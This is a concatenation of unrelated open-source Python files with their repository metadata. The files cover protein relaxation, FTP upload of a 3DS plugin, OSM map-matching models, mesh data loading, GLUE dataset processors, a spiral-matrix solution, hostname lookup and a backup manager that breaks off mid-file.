relax(pose): sf = create_score_function("ref2015") sf.set_weight(rosetta.core.scoring.atom_pair_constraint, 5) sf.set_weight(rosetta.core.scoring.dihedral_constraint, 1) sf.set_weight(rosetta.core.scoring.angle_constraint, 1) mmap = MoveMap() mmap.set_bb(True) mmap.set_chi(True) mmap.set_jump(True) relax = rosetta.protocols.relax.FastRelax() relax.set_scorefxn(sf) relax.max_iter(200) relax.dualspace(True) relax.set_movemap(mmap) switch = SwitchResidueTypeSetMover("fa_standard") switch.apply(pose) relax.apply(pose)

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0.019608

0

null

0

null

0

1

0

bb4056293343dbab19d3e2d5e53479051955458c

883

py

Python

sendfile.py

ponpoko094/Colorful-MHX3gx

a795266f6872eee9eb2ea3dac2bc567cbb35dcfb

[ "MIT" ]

4

2021-12-12T02:20:11.000Z

2021-12-12T02:20:16.000Z

sendfile.py

ponpoko094/Colorful-MHX3gx

a795266f6872eee9eb2ea3dac2bc567cbb35dcfb

[ "MIT" ]

2

2021-12-04T04:02:41.000Z

2021-12-07T04:40:57.000Z

sendfile.py

ponpoko094/MHX3gx

9abd1f9758013c81622334c88c799482cf79e4b2

[ "MIT" ]

2

2021-11-12T00:21:32.000Z

2021-11-12T07:08:51.000Z

# -*- coding: utf-8 -*- """ What is sendfile.py This module is send 3gx to 3ds via FTP. このモジュールはFTPで3gxを3dsに送信します。 """ import ftplib from ftplib import FTP print("--------------------------") print("Trying to Send the Plugin over FTP...") get_ftp = FTP() HOST_ADDRESS = "192.168.0.50" PORT = 5000 TIME_OUT = 30.0 try: get_ftp.connect(HOST_ADDRESS, PORT, TIME_OUT) except ftplib.all_errors: print("Failed to Connect on " + HOST_ADDRESS + " : " + str(PORT)) PATH = "luma/plugins/0004000000155400" PLUGIN = "/Colorful-MHX3gx.3gx" try: print("Successfully Logged in " + HOST_ADDRESS + "\n") print("Response : " + get_ftp.getwelcome()) get_ftp.login() get_ftp.storbinary("STOR " + PATH + PLUGIN, open(PLUGIN.replace("/", ""), "rb")) print("Sending Plugin to " + PATH + "\n") except ftplib.all_errors: print("Login Failed!\n")

24.527778

69

0.628539

117

883

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0.055351

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0.095941

0

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0.191393

883

35

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0

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0

1

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false

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0.086957

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0.086957

0.304348

0

null

0

null

0

1

0

bb41685c8c33dcbafe597ec7414699791810848e

2,888

py

Python

src/models/node.py

Informatik-HS-KL/BEGGEL-SP-Map-Matcher-WS19

c3532a86640631dcafa4e88d6efb32360f0faf0f

[ "Apache-2.0" ]

1

2021-07-21T13:51:18.000Z

src/models/node.py

Informatik-HS-KL/BEGGEL-SP-Map-Matcher-WS19

c3532a86640631dcafa4e88d6efb32360f0faf0f

[ "Apache-2.0" ]

null

src/models/node.py

Informatik-HS-KL/BEGGEL-SP-Map-Matcher-WS19

c3532a86640631dcafa4e88d6efb32360f0faf0f

[ "Apache-2.0" ]

null

""" Description: A Node is basically representing an osm-node. But the class Node also contains useful observer functions, for example to convert the geometry of a Node-Object into several geo-formats, and mutator functions. @date: 10/25/2019 @author: Lukas Felzmann, Sebastian Leilich, Kai Plautz """ from .node_id import NodeId from shapely.geometry import Point class Node: def __init__(self, node_id: NodeId, lat_lon: tuple): """ :param node_id: NodeId-Object :param lat_lon: tuple(lat, lon) """ self._id = node_id self._latLon = lat_lon self._tags = {} self._links = [] self._parent_links = [] def add_parent_link(self, link): """ :param link: Link Object :return: None """ self._parent_links.append(link) def get_parent_links(self): """ :return: list(Link-Object) """ return self._parent_links def get_links(self): """ :return: list(link) """ return self._links def get_id(self): """ :return: NodeId Object """ return self._id def get_latlon(self): """ :return: tuple (lat, lon) """ return self._latLon def get_lat(self): """ :return: float """ return self._latLon[0] def get_lon(self): """ :return: float """ return self._latLon[1] def set_tags(self, tags: dict): """ :param tags: dict :return: None """ if tags is None: self._tags = {} else: self._tags = tags def get_tags(self): """ :return: dict """ return self._tags def add_link(self, link): """ :param link: Link Model related to that Node :return: None """ self._links.append(link) def to_geojson(self): """ :return: dict """ data = { "type": "Feature", "geometry": { "type": "Point", "coordinates": [self.get_lon(), self.get_lat()] }, "properties": { "osm_node_id": self.get_osm_id(), "geohash": self.get_geohash(), "tags": self.get_tags() } } return data def to_wkt(self): """ :return: str """ lat, lon = self.get_latlon() return Point(lon, lat).wkt def __repr__(self): return "Node: <id: %s> <latLon: %s>" % (self._id, self._latLon) def get_osm_id(self): """ :return: int """ return self.get_id().get_osm_id() def get_geohash(self): """ :return: str """ return self.get_id().get_geohash()

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119

0.496191

315

2,888

4.336508

0.273016

0.087848

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0.026354

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0

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0.379155

2,888

129

120

22.387597

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0

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0

1

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false

0

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0.018182

0.563636

0

null

0

null

0

1

0

1

0

2

bb41c4d99b6843964899cf16c40a4d079031229f

5,972

py

Python

UnstructuredMesh/DataLoaderUnstructuredMesh.py

MaximeRedstone/UnstructuredCAE-DA

b54bd53540c11aa1b70e5160751905141f463217

[ "MIT" ]

null

UnstructuredMesh/DataLoaderUnstructuredMesh.py

MaximeRedstone/UnstructuredCAE-DA

b54bd53540c11aa1b70e5160751905141f463217

[ "MIT" ]

null

UnstructuredMesh/DataLoaderUnstructuredMesh.py

MaximeRedstone/UnstructuredCAE-DA

b54bd53540c11aa1b70e5160751905141f463217

[ "MIT" ]

null

""" Data Loader for CAEs on Unstructured Meshes """ import sys, os, pickle, argparse import numpy as np from tabulate import tabulate from datetime import datetime import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D from sklearn.cluster import DBSCAN from scipy.spatial import distance_matrix from scipy.spatial.distance import cdist from UnstructuredCAEDA.train import TrainAE from UnstructuredCAEDA.VarDA import BatchDA from UnstructuredCAEDA.data import GetData from UnstructuredCAEDA.settings.models.CLIC import CLIC from UnstructuredCAEDA.fluidity import vtktools from UnstructuredCAEDA.UnstructuredMesh.Localisation import * from UnstructuredCAEDA.UnstructuredMesh.HelpersUnstructuredMesh import * class DataLoaderUnstructuredMesh(GetData): """ Class to load data from data files (.vtu) for AEs Training or Data Assimilation Abreviations: fp = file path v = vertices f = faces ug = unstructured grid """ def __init__(self): pass def get_X(self, settings): """ Args: settings: (CLICUnstructuredMesh class) Returns: np.array of dimensions time steps x localised points """ fps = DataLoaderUnstructuredMesh.get_sorted_fps_U(settings.getDataDir()) filepath = getXFilePath(settings) filepathIdxMatch = getMeshToNetworkIdxMatchingLocations(settings) filepathIdxAll = getMeshToNetworkIdxLocations(settings) filepathIdxOverlap = getIdxOverlap(settings) if os.path.isfile(filepath): print("Reading pickle file: ", filepath) with open(filepath, "rb") as f: X = pickle.load(f) if settings.CLIC_UNSTRUCTURED: #Only read if localisation took place first with open(filepathIdxMatch, "rb") as f: idxDict = pickle.load(f) settings.setMatchIdxMeshToIdxNetwork(idxDict) with open(filepathIdxAll, "rb") as f: idxDict = pickle.load(f) settings.setIdxMeshToIdxNetwork(idxDict) with open(filepathIdxOverlap, "rb") as f: idxOverlap = pickle.load(f) settings.setOverlappingRegions(idxOverlap) else: print("Creating pickle file for percentage: ", settings.getPercentOfVertices()) X = Localiser.createX(fps, settings) outfile = open(filepath, 'wb') pickle.dump(X, outfile) outfile.close() print("Shape read X: ", np.shape(X)) networkInput= DataLoaderUnstructuredMesh.toNetworkSpace(X, settings) return networkInput @staticmethod def get_sorted_fps_U(data_dir): """ Creates and returns list of .vtu filepaths sorted according to timestamp in name. Input files in data_dir must be of the form LSBU_<TIMESTEP INDEX>_<SUBDOMAIN>.vtu """ fps = [f for f in os.listdir(data_dir) if not f.startswith('.')] #Extract Subdomain number from data_dir _, subdomain = data_dir.split("_") #split returns ["LSBU", "<Subdomain>"] subdomain.replace("/", "") #Extract index of timestep from file name idx_fps = [] for fp in fps: if not fp.startswith("."): lsbu, timestep, extension = fp.split("_") idx = int(timestep) idx_fps.append(idx) #sort by timestep assert len(idx_fps) == len(fps) zipped_pairs = zip(idx_fps, fps) fps_sorted = [x for _, x in sorted(zipped_pairs)] #add absolute path fps_sorted = [data_dir + x for x in fps_sorted] return fps_sorted @staticmethod def toNetworkSpace(X, settings): """ Convert X to appropriate shape for AEs """ if settings.getDim() == 1: networkInput = X elif settings.getDim() == 2: networkInput = DataLoaderUnstructuredMesh.reshape(X) else: raise NotImplementedError("Converting to network space only works for specific cases (see function description)") return networkInput # DEPRECATED CODE # Below are functions used when experimenting with Tucodec 2D model that required minimum dimensions # of 90 x 92 for size of convolution kernels to be smaller than data input size at all layers @staticmethod def reshape(X): """ Reshape X of shape Timesteps x Scalars to Timesteps x nx x ny """ nbTimeSteps, nbVertices = np.shape(X)[0], np.shape(X)[1] newshape, idxEnd = DataLoaderUnstructuredMesh.setNetworkSpace(nbVertices, np.ndim(X)) print("X entering network reshaping len = {} when will become = {}".format(nbVertices, idxEnd)) Xidx = [] for timestep in X: timestep = timestep[:idxEnd] Xidx.append(timestep) for idx in range(nbTimeSteps): oneTimestep = Xidx[idx] oneTimestepReshaped = np.reshape(oneTimestep, newshape, order='F') if idx == 0: #fix length of vectors and initialize the output array: nsize = np.shape(oneTimestepReshaped) size = (nbTimeSteps,) + nsize output = np.zeros(size) output[idx] = oneTimestepReshaped print("In network space, Xreshaped = ", np.shape(output)) return output @staticmethod def setNetworkSpace(n, dim): if dim not in [2]: raise NotImplementedError("function can only reshape 2D inputs") nbOfVertices = int(n - (n % 10)) x, y = 92, 90 x, y = DataLoaderUnstructuredMesh.getXfromY(nbOfVertices, y) newshape = x, y idxEnd = x * y return newshape, idxEnd @staticmethod def getXfromY(n, ymin): xres = n // ymin if (xres % 2 != 0): xres = xres - 1 return xres, ymin

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bb41f1bb72ae99e6bb69d3bb195a661a2dbb73cb

18,832

py

Python

projects/text_classification/dataset/utils_glue.py

khloe-zhang/libai

1787a6d920b09d3aed8b04cecb84535612f388b8

[ "Apache-2.0" ]

55

2021-12-10T08:47:06.000Z

2022-03-28T09:02:15.000Z

projects/text_classification/dataset/utils_glue.py

khloe-zhang/libai

1787a6d920b09d3aed8b04cecb84535612f388b8

[ "Apache-2.0" ]

106

2021-11-03T05:16:45.000Z

2022-03-31T06:16:23.000Z

projects/text_classification/dataset/utils_glue.py

khloe-zhang/libai

1787a6d920b09d3aed8b04cecb84535612f388b8

[ "Apache-2.0" ]

13

2021-12-29T08:12:08.000Z

2022-03-28T06:59:45.000Z

# coding=utf-8 # Copyright 2021 The OneFlow Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import logging import os from .utils import DataProcessor, EncodePattern, InputExample, InputFeatures logger = logging.getLogger(__name__) def glue_convert_examples_to_features( examples, tokenizer, max_length, task=None, pattern=EncodePattern.bert_pattern, label_list=None, output_mode=None, ): if task is not None: processor = glue_processors[task]() if label_list is None: label_list = processor.get_labels() logger.info(f"Using label list {label_list} for task {task}") if output_mode is None: output_mode = glue_output_modes[task] logger.info(f"Using output mode {output_mode} for task {task}") label_map = {label: i for i, label in enumerate(label_list)} start_token = [] if tokenizer.start_token is None else [tokenizer.start_token] end_token = [] if tokenizer.end_token is None else [tokenizer.end_token] pad_id = tokenizer.pad_token_id if pattern == EncodePattern.bert_pattern: added_special_tokens = [2, 3] elif pattern == EncodePattern.roberta_pattern: added_special_tokens = [2, 4] else: raise KeyError("pattern is not a valid EncodePattern") features = [] for (ex_index, example) in enumerate(examples): if ex_index % 10000 == 0: logger.info("Writing example %d of %d" % (ex_index, len(examples))) tokens_a = tokenizer.tokenize(example.text_a) tokens_b = None if example.text_b: tokens_b = tokenizer.tokenize(example.text_b) _truncate_seq_pair(tokens_a, tokens_b, max_length - added_special_tokens[1]) else: if len(tokens_a) > max_length - added_special_tokens[0]: tokens_a = tokens_a[: (max_length - added_special_tokens[0])] if pattern is EncodePattern.bert_pattern: tokens = start_token + tokens_a + end_token token_type_ids = [0] * len(tokens) if tokens_b: tokens += tokens_b + end_token token_type_ids += [1] * (len(tokens) - len(token_type_ids)) elif pattern is EncodePattern.roberta_pattern: tokens = start_token + tokens_a + end_token token_type_ids = [0] * len(tokens) if tokens_b: tokens += end_token + tokens_b + end_token token_type_ids += [1] * (len(tokens) - len(token_type_ids)) else: raise KeyError("pattern is not a valid EncodePattern") input_ids = tokenizer.convert_tokens_to_ids(tokens) attention_mask = [1] * len(input_ids) padding_length = max_length - len(input_ids) input_ids = input_ids + ([pad_id] * padding_length) attention_mask = attention_mask + ([0] * padding_length) token_type_ids = token_type_ids + ([0] * padding_length) label = None if example.label is not None: if output_mode == "classification": label = label_map[example.label] elif output_mode == "regression": label = float(example.label) if ex_index < 5: logger.info("*** Example ***") logger.info("guid: %s" % (example.guid)) logger.info("input_ids: %s" % " ".join([str(x) for x in input_ids])) logger.info("attention_mask: %s" % " ".join([str(x) for x in attention_mask])) logger.info("token_type_ids: %s" % " ".join([str(x) for x in token_type_ids])) logger.info("label: %s (id = %d)" % (example.label, label)) features.append( InputFeatures( input_ids=input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, labels=label, ) ) return features def _truncate_seq_pair(tokens_a, tokens_b, max_length): while True: total_length = len(tokens_a) + len(tokens_b) if total_length <= max_length: break if len(tokens_a) > len(tokens_b): tokens_a.pop() else: tokens_b.pop() class MrpcProcessor(DataProcessor): """Processor for the MRPC data set (GLUE version). Sentence pair classification task. Determine whether the two sentences have the same meaning. """ def get_train_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "train.tsv")), "train") def get_dev_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "dev.tsv")), "dev") def get_test_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "test.tsv")), "test") def get_labels(self): """See base class.""" return ["0", "1"] def _create_examples(self, lines, set_type): """Creates examples for the training, dev and test sets.""" examples = [] for (i, line) in enumerate(lines): if i == 0: continue guid = f"{set_type}-{i}" text_a = line[3] text_b = line[4] label = None if set_type == "test" else line[0] examples.append(InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label)) return examples class MnliProcessor(DataProcessor): """Processor for the MultiNLI data set (GLUE version). Sentence pair classification task. Given a premise sentence and a hypothesis sentence, the task is to predict whether the premise entails the hypothesis (entailment), contradicts the hypothesis (contradiction), or neither (neutral). """ def get_train_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "train.tsv")), "train") def get_dev_examples(self, data_dir): """See base class.""" return self._create_examples( self._read_tsv(os.path.join(data_dir, "dev_matched.tsv")), "dev_matched" ) def get_test_examples(self, data_dir): """See base class.""" return self._create_examples( self._read_tsv(os.path.join(data_dir, "test_matched.tsv")), "test_matched" ) def get_labels(self): """See base class.""" return ["contradiction", "entailment", "neutral"] def _create_examples(self, lines, set_type): """Creates examples for the training, dev and test sets.""" examples = [] for (i, line) in enumerate(lines): if i == 0: continue guid = f"{set_type}-{line[0]}" text_a = line[8] text_b = line[9] label = None if set_type.startswith("test") else line[-1] examples.append(InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label)) return examples class MnliMismatchedProcessor(MnliProcessor): """Processor for the MultiNLI Mismatched data set (GLUE version).""" def get_dev_examples(self, data_dir): """See base class.""" return self._create_examples( self._read_tsv(os.path.join(data_dir, "dev_mismatched.tsv")), "dev_mismatched", ) def get_test_examples(self, data_dir): """See base class.""" return self._create_examples( self._read_tsv(os.path.join(data_dir, "test_mismatched.tsv")), "test_mismatched", ) class ColaProcessor(DataProcessor): """Processor for the CoLA data set (GLUE version). Single sentence classification task. Each example is a sequence of words annotated with whether it is a grammatical English sentence. """ def get_train_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "train.tsv")), "train") def get_dev_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "dev.tsv")), "dev") def get_test_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "test.tsv")), "test") def get_labels(self): """See base class.""" return ["0", "1"] def _create_examples(self, lines, set_type): """Creates examples for the training, dev and test sets.""" test_mode = set_type == "test" if test_mode: lines = lines[1:] text_index = 1 if test_mode else 3 examples = [] for (i, line) in enumerate(lines): guid = f"{set_type}-{i}" text_a = line[text_index] label = None if test_mode else line[1] examples.append(InputExample(guid=guid, text_a=text_a, text_b=None, label=label)) return examples class Sst2Processor(DataProcessor): """Processor for the SST-2 data set (GLUE version). Single sentence classification task. The task is to predict the sentiment of a given sentence. We use the two-way (positive/negative) class split, and use only sentence-level labels. """ def get_train_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "train.tsv")), "train") def get_dev_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "dev.tsv")), "dev") def get_test_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "test.tsv")), "test") def get_labels(self): """See base class.""" return ["0", "1"] def _create_examples(self, lines, set_type): """Creates examples for the training, dev and test sets.""" examples = [] text_index = 1 if set_type == "test" else 0 for (i, line) in enumerate(lines): if i == 0: continue guid = f"{set_type}-{i}" text_a = line[text_index] label = None if set_type == "test" else line[1] examples.append(InputExample(guid=guid, text_a=text_a, text_b=None, label=label)) return examples class StsbProcessor(DataProcessor): """Processor for the STS-B data set (GLUE version). Sentence pair task but it is a regression task. This task is to predict the similarity score of two sentences. """ def get_train_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "train.tsv")), "train") def get_dev_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "dev.tsv")), "dev") def get_test_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "test.tsv")), "test") def get_labels(self): """See base class.""" return [None] def _create_examples(self, lines, set_type): """Creates examples for the training, dev and test sets.""" examples = [] for (i, line) in enumerate(lines): if i == 0: continue guid = f"{set_type}-{line[0]}" text_a = line[7] text_b = line[8] label = None if set_type == "test" else line[-1] examples.append(InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label)) return examples class QqpProcessor(DataProcessor): """Processor for the QQP data set (GLUE version). Sentence pair classification task. The task is to determine whether a pair of questions are semantically equivalent. """ def get_train_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "train.tsv")), "train") def get_dev_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "dev.tsv")), "dev") def get_test_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "test.tsv")), "test") def get_labels(self): """See base class.""" return ["0", "1"] def _create_examples(self, lines, set_type): """Creates examples for the training, dev and test sets.""" test_mode = set_type == "test" q1_index = 1 if test_mode else 3 q2_index = 2 if test_mode else 4 examples = [] for (i, line) in enumerate(lines): if i == 0: continue guid = f"{set_type}-{line[0]}" try: text_a = line[q1_index] text_b = line[q2_index] label = None if test_mode else line[5] except IndexError: continue examples.append(InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label)) return examples class QnliProcessor(DataProcessor): """Processor for the QNLI data set (GLUE version). Sentence pair classification task. The task is to determine whether the context sentence contains the answer to the question. """ def get_train_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "train.tsv")), "train") def get_dev_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "dev.tsv")), "dev") def get_test_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "test.tsv")), "test") def get_labels(self): """See base class.""" return ["entailment", "not_entailment"] def _create_examples(self, lines, set_type): """Creates examples for the training, dev and test sets.""" examples = [] for (i, line) in enumerate(lines): if i == 0: continue guid = f"{set_type}-{line[0]}" text_a = line[1] text_b = line[2] label = None if set_type == "test" else line[-1] examples.append(InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label)) return examples class RteProcessor(DataProcessor): """Processor for the RTE data set (GLUE version). Sentence pair classification task. Recognizing Textual Entailment. Predict whether the two sentences is entailment or not entailment (neutral and contradiction). """ def get_train_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "train.tsv")), "train") def get_dev_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "dev.tsv")), "dev") def get_test_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "test.tsv")), "test") def get_labels(self): """See base class.""" return ["entailment", "not_entailment"] def _create_examples(self, lines, set_type): """Creates examples for the training, dev and test sets.""" examples = [] for (i, line) in enumerate(lines): if i == 0: continue guid = f"{set_type}-{line[0]}" text_a = line[1] text_b = line[2] label = None if set_type == "test" else line[-1] examples.append(InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label)) return examples class WnliProcessor(DataProcessor): """Processor for the WNLI data set (GLUE version). Sentence pair classification task. The task is to predict if the sentence with the pronoun substituted is entailed by the original sentence. """ def get_train_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "train.tsv")), "train") def get_dev_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "dev.tsv")), "dev") def get_test_examples(self, data_dir): """See base class.""" return self._create_examples(self._read_tsv(os.path.join(data_dir, "test.tsv")), "test") def get_labels(self): """See base class.""" return ["0", "1"] def _create_examples(self, lines, set_type): """Creates examples for the training, dev and test sets.""" examples = [] for (i, line) in enumerate(lines): if i == 0: continue guid = f"{set_type}-{line[0]}" text_a = line[1] text_b = line[2] label = None if set_type == "test" else line[-1] examples.append(InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label)) return examples glue_tasks_num_labels = { "cola": 2, "mnli": 3, "mrpc": 2, "sst-2": 2, "sts-b": 1, "qqp": 2, "qnli": 2, "rte": 2, "wnli": 2, } glue_processors = { "cola": ColaProcessor, "mnli": MnliProcessor, "mnli-mm": MnliMismatchedProcessor, "mrpc": MrpcProcessor, "sst-2": Sst2Processor, "sts-b": StsbProcessor, "qqp": QqpProcessor, "qnli": QnliProcessor, "rte": RteProcessor, "wnli": WnliProcessor, } glue_output_modes = { "cola": "classification", "mnli": "classification", "mnli-mm": "classification", "mrpc": "classification", "sst-2": "classification", "sts-b": "regression", "qqp": "classification", "qnli": "classification", "rte": "classification", "wnli": "classification", }

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0.616769

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18,832

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0.072445

0.041088

0.061633

0.640656

0.623356

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0.602451

0.561543

0.546044

0

0.007414

0.262266

18,832

525

101

35.870476

0.791406

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1

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false

0

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0

0.332326

0

null

0

null

0

1

0

bb43fdde5b3581f834a97b398a6070ff285448c9

1,204

py

Python

spiralOrder.py

xiaochuan-cd/leetcode

8da7fb9c1a8344f5f258936c8a7d6cd25d3b3393

[ "MIT" ]

null

spiralOrder.py

xiaochuan-cd/leetcode

8da7fb9c1a8344f5f258936c8a7d6cd25d3b3393

[ "MIT" ]

null

spiralOrder.py

xiaochuan-cd/leetcode

8da7fb9c1a8344f5f258936c8a7d6cd25d3b3393

[ "MIT" ]

null

class Solution: def spiralOrder(self, matrix): """ :type matrix: List[List[int]] :rtype: List[int] """ if not matrix: return [] lvl, lenw, lenh, ret = 0, len(matrix[0]), len(matrix), [] while lvl <= int(min(lenw, lenh)/2): if len(ret) != lenh*lenw: for i in range(lvl, lenw-lvl): ret.append(matrix[lvl][i]) if len(ret) != lenh*lenw: for i in range(lvl+1, lenh-lvl): ret.append(matrix[i][lenw-lvl-1]) if len(ret) != lenh*lenw: for i in range(lenw-lvl-2, -1+lvl, -1): ret.append(matrix[lenh-lvl-1][i]) if len(ret) != lenh*lenw: for i in range(lenh-lvl-2, lvl, -1): ret.append(matrix[i][lvl]) lvl += 1 return ret if __name__ == "__main__": print(Solution().spiralOrder( [ [1] ] )) print(Solution().spiralOrder( [ [1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12], [13, 14, 15, 16], [17, 18, 19, 20] ] ))

26.755556

65

0.41113

147

1,204

3.312925

0.333333

0.049281

0.065708

0.098563

0.316222

0.238193

0.182752

0

0.064327

0.431894

1,204

44

66

27.363636

0.647661

0.039037

0

0.228571

0

0.007111

0

1

0.028571

false

0

0.114286

0.057143

0

null

0

null

0

1

0

bb44989d1b925d469bd603867f4a7ffaa3d4a4d3

400

py

Python

lang/py/pylib/11/socket/function/gethostbyname_ex.py

ch1huizong/learning

632267634a9fd84a5f5116de09ff1e2681a6cc85

[ "MIT" ]

null

lang/py/pylib/11/socket/function/gethostbyname_ex.py

ch1huizong/learning

632267634a9fd84a5f5116de09ff1e2681a6cc85

[ "MIT" ]

null

lang/py/pylib/11/socket/function/gethostbyname_ex.py

ch1huizong/learning

632267634a9fd84a5f5116de09ff1e2681a6cc85

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding:UTF-8 -*- import socket for host in ['homer','www','www.python.org','nosuchnamenamenameche']: print host try: hostname, aliases, addresses = socket.gethostbyname_ex(host) print' Hostname:',hostname print' Aliases:',aliases print' Addresses:',addresses except socket.error as msg: print'ERROR:',msg print

25

69

0.63

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400

5.456522

0.586957

0.063745

0

0.003257

0.2325

400

15

70

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0.814332

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0

0.229692

0.058824

0

null

0

0.090909

null

0.545455

0

null

0

null

0

1

0

1

0

2

bb44aa42ddd32a1beb60abcb2a915654994335c3

7,786

py

Python

bups/manager.py

emersion/bups

95dac7fabe8261dfff3bccad1e384af07c702945

[ "MIT" ]

106

2015-01-02T11:11:39.000Z

2022-01-09T08:03:30.000Z

bups/manager.py

emersion/bups

95dac7fabe8261dfff3bccad1e384af07c702945

[ "MIT" ]

33

2015-01-01T15:01:38.000Z

2020-09-06T15:13:49.000Z

bups/manager.py

emersion/bups

95dac7fabe8261dfff3bccad1e384af07c702945

[ "MIT" ]

15

2015-02-01T10:38:20.000Z

2022-02-08T21:45:44.000Z

import os import time import subprocess import tempfile import re from worker import BupWorker #from sudo import sudo from fuse.root import FuseRoot from fuse.bup import FuseBup from fuse.sshfs import FuseSshfs from fuse.google_drive import FuseGoogleDrive from fuse.encfs import FuseEncfs def noop(*args): pass class BupManager: def __init__(self, cfg, sudo_worker = None): self.config = cfg self.sudo_worker = sudo_worker self.mounted = False self.bup = BupWorker() self.bup_mounter = None # FS parents mount_cfg = self.config["mount"] mount_type = mount_cfg.get("type", "") if mount_type == "": self.parents = [] elif mount_type == "google_drive": self.parents = [FuseGoogleDrive(mount_cfg)] elif mount_type == "sshfs": self.parents = [FuseSshfs(mount_cfg)] else: self.parents = [FuseRoot(mount_cfg)] if mount_cfg.get("encrypt", False): self.parents.append(FuseEncfs()) def backup(self, callbacks={}): callbacks_names = ["onstatus", "onerror", "onprogress", "onfinish", "onabord"] for name in callbacks_names: if not name in callbacks: callbacks[name] = noop ctx = {} def backupDir(dir_data): dirpath = dir_data["path"].encode("ascii") backupName = dir_data["name"].encode("ascii") excludePaths = [x.encode("ascii") for x in dir_data.get("exclude", [])] excludeRxs = [x.encode("ascii") for x in dir_data.get("excluderx", [])] ctx = { "path": dirpath, "name": backupName } def status2progress(line): m = re.search("Indexing:\s*(\d+)((?:,\s*done)?)\s*$(\d+) paths/s$", line) if m is not None: percentage = None if m.group(2) != "": percentage = 100 return { 'status': 'indexing', 'percentage': percentage, 'total_paths': int(m.group(1)), 'paths_per_sec': int(m.group(3)) } m = re.search("Reading index:\s*(\d+)((?:,\s*done)?)", line) if m is not None: percentage = None if m.group(2) != "": percentage = 100 return { 'status': 'reading_index', 'percentage': percentage, 'files_done': int(m.group(1)) } m = re.search("Saving:\s*([\d.]+)%\s*$(\d+)/(\d+)k, (\d+)/(\d+) files$", line) if m is not None: return { 'status': 'saving', 'percentage': float(m.group(1)), 'bytes_done': int(m.group(2)), 'bytes_total': int(m.group(3)), 'files_done': int(m.group(4)), 'files_total': int(m.group(5)) } return None def onprogress(data): return callbacks["onprogress"](data, ctx) def onstatus(line): progress = status2progress(line) if progress is not None: return callbacks["onprogress"](progress, ctx) return callbacks["onstatus"](line, ctx) callbacks["onstatus"]("Backing up "+backupName+": indexing files...", ctx) self.bup.index(dirpath, { "exclude_paths": excludePaths, "exclude_rxs": excludeRxs, "one_file_system": dir_data.get("onefilesystem", False) }, { "onprogress": onprogress, "onstatus": onstatus }) callbacks["onstatus"]("Backing up "+backupName+": saving files...", ctx) self.bup.save(dirpath, { "name": backupName, "progress": True }, { "onprogress": onprogress, "onstatus": onstatus }) cfg = self.config callbacks["onstatus"]("Mounting filesystem...", ctx) if not self.mount_parents(callbacks): callbacks["onabord"]({}, ctx) return callbacks["onstatus"]("Initializing bup...", ctx) self.bup.init({ "onstatus": lambda line: callbacks["onstatus"](line, ctx) }) for dir_data in cfg["dirs"]: backupDir(dir_data) time.sleep(1) callbacks["onstatus"]("Unmounting filesystem...", ctx) self.unmount_parents(callbacks) callbacks["onstatus"]('Backup finished.', ctx) callbacks["onfinish"]({}, ctx) def restore(self, opts, callbacks={}): callbacks_names = ["onstatus", "onerror", "onprogress", "onfinish", "onabord"] for name in callbacks_names: if not name in callbacks: callbacks[name] = noop callbacks["onstatus"]("Mounting filesystem...") if not self.mount_parents(callbacks): callbacks["onabord"]() return from_path = opts.get("from").encode("ascii") to_path = opts.get("to").encode("ascii") callbacks["onstatus"]("Restoring "+from_path+" to "+to_path+"...") self.bup.restore(from_path, to_path, callbacks) time.sleep(1) callbacks["onstatus"]("Unmounting filesystem...") self.unmount_parents(callbacks) callbacks["onstatus"]("Restoration finished.") callbacks["onfinish"]() def mount(self, callbacks={}): if not "onstatus" in callbacks: callbacks["onstatus"] = noop if not 